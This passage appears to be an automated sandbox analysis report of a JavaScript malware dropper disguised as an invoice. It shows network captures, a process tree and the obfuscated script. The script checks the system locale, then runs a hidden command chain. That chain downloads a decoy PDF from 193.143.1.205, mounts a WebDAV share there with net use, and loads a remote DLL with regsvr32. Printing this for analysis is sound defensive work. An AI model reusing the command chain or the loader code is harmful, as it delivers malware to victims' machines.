6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 04:04:51.202707052 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 04:04:51.202758074 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 04:04:51.202817917 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 04:04:51.202848911 CET	224	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 11, 2025 04:04:51.202883959 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 04:04:51.202919960 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 11, 2025 04:04:51.202975035 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 11, 2025 04:04:51.203010082 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 11, 2025 04:04:51.203062057 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 11, 2025 04:04:51.203500986 CET	552	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	2972	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:04:52.605650902 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 04:04:53.380213022 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:04:53 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	22:04:46
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\13211101981378323787.js"
Imagebase:	0x7ff6d9d50000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:04:47
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll
Imagebase:	0x7ff618df0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:04:47
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:04:47
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:04:51
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	22:04:51
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff618df0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:04:51
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f7780000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:04:52
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:04:52
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	22:04:52
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1660,i,6849184193499475424,2132944793090151533,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function hytdtq() {	hytdtq() ➔ undefined
1	pxxgzyfu = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var dgcavmlfz = this[uyfshs + obsdald + syofs + ivrzbzk + eiknrc + eazhpbwx + mknqoyoyy + nhdxlcwj] ( this[ewuwscwum + pfrrcvpm + ytlfizpkg + syofs + exgft + uyfshs + nhdxlcwj][qpmxoxb + syofs + eiknrc + obsdald + nhdxlcwj + eiknrc + vmnst + bvwezjp + mwleln + eiknrc + ytlfizpkg + nhdxlcwj] ( ewuwscwum + pfrrcvpm + ytlfizpkg + syofs + exgft + uyfshs + nhdxlcwj + bhckdyja + pfrrcvpm + fohswupan + eiknrc + cazsr + cazsr ) [shwrxgwz + eiknrc + tteoygtgp + shwrxgwz + eiknrc + obsdald + jnlobwjo] ( usgmhsx + lvbilncy + veirgh + mywqtffqf + pbxnji + qpmxoxb + fbbvgc + shwrxgwz + shwrxgwz + veirgh + zxkehj + kuqqooyh + pbxnji + fbbvgc + pfrrcvpm + veirgh + shwrxgwz + qxeainsul + qpmxoxb + olkpibqi + mknqoyoyy + nhdxlcwj + syofs + olkpibqi + cazsr + hjnyysi + easze + obsdald + mknqoyoyy + eiknrc + cazsr + qxeainsul + eazhpbwx + mknqoyoyy + nhdxlcwj + eiknrc + syofs + mknqoyoyy + obsdald + nhdxlcwj + exgft + olkpibqi + mknqoyoyy + obsdald + cazsr + qxeainsul + suafaeh + olkpibqi + ytlfizpkg + obsdald + cazsr + eiknrc ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xrcjjc = 0 ; xrcjjc < pxxgzyfu[cazsr + eiknrc + mknqoyoyy + tteoygtgp + nhdxlcwj + fohswupan] ; ++ xrcjjc )
4	{
5	if ( dgcavmlfz == pxxgzyfu[xrcjjc] )
6	{
7	dgcavmlfz = true;
8	break ;
9	}
10	}
11	if ( dgcavmlfz !== true )
12	this[ewuwscwum + pfrrcvpm + ytlfizpkg + syofs + exgft + uyfshs + nhdxlcwj][eifeoazl + rnrsboh + exgft + nhdxlcwj] ( );
13	this[ewuwscwum + pfrrcvpm + ytlfizpkg + syofs + exgft + uyfshs + nhdxlcwj][qpmxoxb + syofs + eiknrc + obsdald + nhdxlcwj + eiknrc + vmnst + bvwezjp + mwleln + eiknrc + ytlfizpkg + nhdxlcwj] ( ewuwscwum + pfrrcvpm + ytlfizpkg + syofs + exgft + uyfshs + nhdxlcwj + bhckdyja + pfrrcvpm + fohswupan + eiknrc + cazsr + cazsr ) [syofs + rnrsboh + mknqoyoyy] ( ytlfizpkg + jhzbg + jnlobwjo + hjnyysi + nxjhycqx + ytlfizpkg + hjnyysi + uyfshs + olkpibqi + vtqxw + eiknrc + syofs + ivrzbzk + fohswupan + eiknrc + cazsr + cazsr + bhckdyja + eiknrc + phlpkkzj + eiknrc + hjnyysi + arezgy + qpmxoxb + olkpibqi + jhzbg + jhzbg + obsdald + mknqoyoyy + jnlobwjo + hjnyysi + lwlfdhnbu + eazhpbwx + mknqoyoyy + ogevml + olkpibqi + fwweu + eiknrc + arezgy + ewuwscwum + eiknrc + bvwezjp + shwrxgwz + eiknrc + rzwkpy + rnrsboh + eiknrc + ivrzbzk + nhdxlcwj + hjnyysi + arezgy + vmnst + rnrsboh + nhdxlcwj + hqdwiwina + exgft + cazsr + eiknrc + hjnyysi + vrumbhet + nhdxlcwj + eiknrc + jhzbg + uyfshs + vrumbhet + qxeainsul + exgft + mknqoyoyy + ogevml + olkpibqi + exgft + ytlfizpkg + eiknrc + bhckdyja + uyfshs + jnlobwjo + rxfestzj + hjnyysi + fohswupan + nhdxlcwj + nhdxlcwj + uyfshs + hdlvdoow + nxjhycqx + nxjhycqx + pocpwn + noqnnrkiw + klawkrtv + bhckdyja + pocpwn + zvzoedv + klawkrtv + bhckdyja + pocpwn + bhckdyja + ixkrs + mfnvdfk + wwecoam + nxjhycqx + exgft + mknqoyoyy + ogevml + olkpibqi + exgft + ytlfizpkg + eiknrc + bhckdyja + uyfshs + fohswupan + uyfshs + lwlfdhnbu + eyyqpdh + eyyqpdh + ivrzbzk + nhdxlcwj + obsdald + syofs + nhdxlcwj + hjnyysi + vrumbhet + nhdxlcwj + eiknrc + jhzbg + uyfshs + vrumbhet + qxeainsul + exgft + mknqoyoyy + ogevml + olkpibqi + exgft + ytlfizpkg + eiknrc + bhckdyja + uyfshs + jnlobwjo + rxfestzj + eyyqpdh + eyyqpdh + ytlfizpkg + jhzbg + jnlobwjo + hjnyysi + nxjhycqx + ytlfizpkg + hjnyysi + mknqoyoyy + eiknrc + nhdxlcwj + hjnyysi + rnrsboh + ivrzbzk + eiknrc + hjnyysi + qxeainsul + qxeainsul + pocpwn + noqnnrkiw + klawkrtv + bhckdyja + pocpwn + zvzoedv + klawkrtv + bhckdyja + pocpwn + bhckdyja + ixkrs + mfnvdfk + wwecoam + steatr + cjzyf + cjzyf + cjzyf + cjzyf + qxeainsul + jnlobwjo + obsdald + ogevml + vtqxw + vtqxw + vtqxw + syofs + olkpibqi + olkpibqi + nhdxlcwj + qxeainsul + eyyqpdh + eyyqpdh + ytlfizpkg + jhzbg + jnlobwjo + hjnyysi + nxjhycqx + ytlfizpkg + hjnyysi + syofs + eiknrc + tteoygtgp + ivrzbzk + ogevml + syofs + klawkrtv + ixkrs + hjnyysi + nxjhycqx + ivrzbzk + hjnyysi + qxeainsul + qxeainsul + pocpwn + noqnnrkiw + klawkrtv + bhckdyja + pocpwn + zvzoedv + klawkrtv + bhckdyja + pocpwn + bhckdyja + ixkrs + mfnvdfk + wwecoam + steatr + cjzyf + cjzyf + cjzyf + cjzyf + qxeainsul + jnlobwjo + obsdald + ogevml + vtqxw + vtqxw + vtqxw + syofs + olkpibqi + olkpibqi + nhdxlcwj + qxeainsul + ixkrs + mfnvdfk + noqnnrkiw + wwecoam + zvzoedv + ixkrs + klawkrtv + zvzoedv + rxiei + wwecoam + pocpwn + pkblem + cjzyf + ixkrs + wwecoam + bhckdyja + jnlobwjo + cazsr + cazsr, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\209542347516825.dll",0,false) ➔ 0
14	}
15	vrumbhet = "K";
16	vrumbhet = "R";
17	vrumbhet = "Q";
18	vrumbhet = "h";
19	vrumbhet = "A";
20	vrumbhet = "d";
21	vrumbhet = "E";
22	vrumbhet = "L";
23	vrumbhet = "P";
24	vrumbhet = "Y";
25	vrumbhet = "q";
26	vrumbhet = "d";
27	vrumbhet = "l";
28	vrumbhet = "g";
29	vrumbhet = "j";
30	vrumbhet = "V";
31	vrumbhet = "S";
32	vrumbhet = "Z";
33	vrumbhet = "%";
34	zvzoedv = "V";
35	zvzoedv = "Z";
36	zvzoedv = "H";
37	zvzoedv = "O";
38	zvzoedv = "u";
39	zvzoedv = "l";
40	zvzoedv = "J";
41	zvzoedv = "t";
42	zvzoedv = "e";
43	zvzoedv = "e";
44	zvzoedv = "W";
45	zvzoedv = "j";
46	zvzoedv = "W";
47	zvzoedv = "t";
48	zvzoedv = "a";
49	zvzoedv = "l";
50	zvzoedv = "d";
51	zvzoedv = "z";
52	zvzoedv = "S";
53	zvzoedv = "I";
54	zvzoedv = "t";
55	zvzoedv = "w";
56	zvzoedv = "V";
57	zvzoedv = "4";
58	rnrsboh = "U";
59	rnrsboh = "D";
60	rnrsboh = "Z";
61	rnrsboh = "I";
62	rnrsboh = "r";
63	rnrsboh = "n";
64	rnrsboh = "X";
65	rnrsboh = "n";
66	rnrsboh = "C";
67	rnrsboh = "B";
68	rnrsboh = "i";
69	rnrsboh = "n";
70	rnrsboh = "e";
71	rnrsboh = "a";
72	rnrsboh = "B";
73	rnrsboh = "g";
74	rnrsboh = "q";
75	rnrsboh = "y";
76	rnrsboh = "F";
77	rnrsboh = "u";
78	rnrsboh = "r";
79	rnrsboh = "l";
80	rnrsboh = "A";
81	rnrsboh = "B";
82	rnrsboh = "u";
83	fbbvgc = "A";
84	fbbvgc = "p";
85	fbbvgc = "v";
86	fbbvgc = "H";
87	fbbvgc = "R";
88	fbbvgc = "e";
89	fbbvgc = "P";
90	fbbvgc = "g";
91	fbbvgc = "o";
92	fbbvgc = "k";
93	fbbvgc = "n";
94	fbbvgc = "v";
95	fbbvgc = "G";
96	fbbvgc = "f";
97	fbbvgc = "g";
98	fbbvgc = "Y";
99	fbbvgc = "O";
100	fbbvgc = "P";
101	fbbvgc = "w";
102	fbbvgc = "L";
103	fbbvgc = "k";
104	fbbvgc = "M";
105	fbbvgc = "n";
106	fbbvgc = "V";
107	fbbvgc = "U";
108	nhdxlcwj = "V";
109	nhdxlcwj = "k";
110	nhdxlcwj = "l";
111	nhdxlcwj = "E";
112	nhdxlcwj = "k";
113	nhdxlcwj = "A";
114	nhdxlcwj = "D";
115	nhdxlcwj = "s";
116	nhdxlcwj = "b";
117	nhdxlcwj = "Z";
118	nhdxlcwj = "n";
119	nhdxlcwj = "Z";
120	nhdxlcwj = "p";
121	nhdxlcwj = "X";
122	nhdxlcwj = "V";
123	nhdxlcwj = "y";
124	nhdxlcwj = "Y";
125	nhdxlcwj = "c";
126	nhdxlcwj = "d";
127	nhdxlcwj = "t";
128	bvwezjp = "Z";
129	bvwezjp = "A";
130	bvwezjp = "e";
131	bvwezjp = "i";
132	bvwezjp = "m";
133	bvwezjp = "g";
134	bvwezjp = "c";
135	bvwezjp = "b";
136	klawkrtv = "z";
137	klawkrtv = "R";
138	klawkrtv = "t";
139	klawkrtv = "3";
140	mknqoyoyy = "x";
141	mknqoyoyy = "h";
142	mknqoyoyy = "e";
143	mknqoyoyy = "F";
144	mknqoyoyy = "q";
145	mknqoyoyy = "U";
146	mknqoyoyy = "v";
147	mknqoyoyy = "E";
148	mknqoyoyy = "r";
149	mknqoyoyy = "d";
150	mknqoyoyy = "S";
151	mknqoyoyy = "f";
152	mknqoyoyy = "S";
153	mknqoyoyy = "R";
154	mknqoyoyy = "y";
155	mknqoyoyy = "b";
156	mknqoyoyy = "f";
157	mknqoyoyy = "Q";
158	mknqoyoyy = "u";
159	mknqoyoyy = "O";
160	mknqoyoyy = "L";
161	mknqoyoyy = "b";
162	mknqoyoyy = "g";
163	mknqoyoyy = "b";
164	mknqoyoyy = "O";
165	mknqoyoyy = "p";
166	mknqoyoyy = "j";
167	mknqoyoyy = "X";
168	mknqoyoyy = "Q";
169	mknqoyoyy = "W";
170	mknqoyoyy = "w";
171	mknqoyoyy = "A";
172	mknqoyoyy = "p";
173	mknqoyoyy = "D";
174	mknqoyoyy = "e";
175	mknqoyoyy = "d";
176	mknqoyoyy = "e";
177	mknqoyoyy = "S";
178	mknqoyoyy = "c";
179	mknqoyoyy = "q";
180	mknqoyoyy = "F";
181	mknqoyoyy = "n";
182	hjnyysi = "u";
183	hjnyysi = "d";
184	hjnyysi = "L";
185	hjnyysi = "a";
186	hjnyysi = "x";
187	hjnyysi = "C";
188	hjnyysi = "N";
189	hjnyysi = "z";
190	hjnyysi = "x";
191	hjnyysi = "m";
192	hjnyysi = "F";
193	hjnyysi = "h";
194	hjnyysi = "P";
195	hjnyysi = "H";
196	hjnyysi = "C";
197	hjnyysi = "a";
198	hjnyysi = "t";
199	hjnyysi = "a";
200	hjnyysi = "T";
201	hjnyysi = "L";
202	hjnyysi = "l";
203	hjnyysi = "i";
204	hjnyysi = "C";
205	hjnyysi = "R";
206	hjnyysi = "M";
207	hjnyysi = " ";
208	tteoygtgp = "g";
209	nxjhycqx = "c";
210	nxjhycqx = "i";
211	nxjhycqx = "B";
212	nxjhycqx = "c";
213	nxjhycqx = "I";
214	nxjhycqx = "H";
215	nxjhycqx = "R";
216	nxjhycqx = "O";
217	nxjhycqx = "K";
218	nxjhycqx = "P";
219	nxjhycqx = "I";
220	nxjhycqx = "d";
221	nxjhycqx = "C";
222	nxjhycqx = "m";
223	nxjhycqx = "/";
224	syofs = "K";
225	syofs = "u";
226	syofs = "Z";
227	syofs = "F";
228	syofs = "M";
229	syofs = "y";
230	syofs = "i";
231	syofs = "X";
232	syofs = "v";
233	syofs = "p";
234	syofs = "w";
235	syofs = "O";
236	syofs = "s";
237	syofs = "v";
238	syofs = "n";
239	syofs = "F";
240	syofs = "A";
241	syofs = "k";
242	syofs = "t";
243	syofs = "j";
244	syofs = "S";
245	syofs = "N";
246	syofs = "U";
247	syofs = "n";
248	syofs = "Y";
249	syofs = "v";
250	syofs = "Z";
251	syofs = "R";
252	syofs = "L";
253	syofs = "m";
254	syofs = "r";
255	lwlfdhnbu = "\"";
256	uyfshs = "C";
257	uyfshs = "h";
258	uyfshs = "U";
259	uyfshs = "T";
260	uyfshs = "c";
261	uyfshs = "f";
262	uyfshs = "j";
263	uyfshs = "C";
264	uyfshs = "J";
265	uyfshs = "l";
266	uyfshs = "A";
267	uyfshs = "p";
268	suafaeh = "V";
269	suafaeh = "U";
270	suafaeh = "L";
271	suafaeh = "Y";
272	suafaeh = "z";
273	suafaeh = "Q";
274	suafaeh = "T";
275	suafaeh = "t";
276	suafaeh = "L";
277	suafaeh = "O";
278	suafaeh = "C";
279	suafaeh = "d";
280	suafaeh = "B";
281	suafaeh = "k";
282	suafaeh = "a";
283	suafaeh = "m";
284	suafaeh = "N";
285	suafaeh = "a";
286	suafaeh = "o";
287	suafaeh = "e";
288	suafaeh = "H";
289	suafaeh = "a";
290	suafaeh = "W";
291	suafaeh = "B";
292	suafaeh = "m";
293	suafaeh = "n";
294	suafaeh = "o";
295	suafaeh = "U";
296	suafaeh = "I";
297	suafaeh = "N";
298	suafaeh = "s";
299	suafaeh = "d";
300	suafaeh = "U";
301	suafaeh = "V";
302	suafaeh = "D";
303	suafaeh = "l";
304	suafaeh = "p";
305	suafaeh = "v";
306	suafaeh = "L";
307	mfnvdfk = "H";
308	mfnvdfk = "M";
309	mfnvdfk = "R";
310	mfnvdfk = "q";
311	mfnvdfk = "Z";
312	mfnvdfk = "W";
313	mfnvdfk = "P";
314	mfnvdfk = "P";
315	mfnvdfk = "C";
316	mfnvdfk = "L";
317	mfnvdfk = "D";
318	mfnvdfk = "L";
319	mfnvdfk = "U";
320	mfnvdfk = "F";
321	mfnvdfk = "i";
322	mfnvdfk = "H";
323	mfnvdfk = "o";
324	mfnvdfk = "k";
325	mfnvdfk = "W";
326	mfnvdfk = "Z";
327	mfnvdfk = "P";
328	mfnvdfk = "N";
329	mfnvdfk = "K";
330	mfnvdfk = "p";
331	mfnvdfk = "E";
332	mfnvdfk = "r";
333	mfnvdfk = "a";
334	mfnvdfk = "I";
335	mfnvdfk = "Q";
336	mfnvdfk = "C";
